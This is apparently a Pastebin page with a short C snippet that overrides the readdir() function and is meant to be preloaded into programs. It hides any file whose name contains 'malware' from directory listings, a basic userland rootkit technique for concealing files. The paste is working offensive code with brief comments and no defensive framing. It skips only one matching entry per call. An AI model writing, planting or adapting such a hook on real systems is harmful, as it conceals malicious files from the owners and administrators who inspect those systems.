Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #define _GNU_SOURCE
- #include <sys/types.h>
- #include <dlfcn.h>
- #include <dirent.h>
- #include <string.h>
- struct dirent *readdir(DIR* dirp){
- // Get a pointer to the original readdir function
- typeof(readdir) *old_readdir;
- old_readdir = dlsym(RTLD_NEXT, "readdir");
- // Get the real dirent struct from the original readdir function
- struct dirent *de = 0;
- de = (*old_readdir) (dirp);
- // Check if filename contains "malware", if so, set dirent to next
- // entry and return
- if(de != 0){
- if(strstr(de->d_name, "malware") != 0){
- de = (*old_readdir) (dirp);
- }
- }
- return de;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement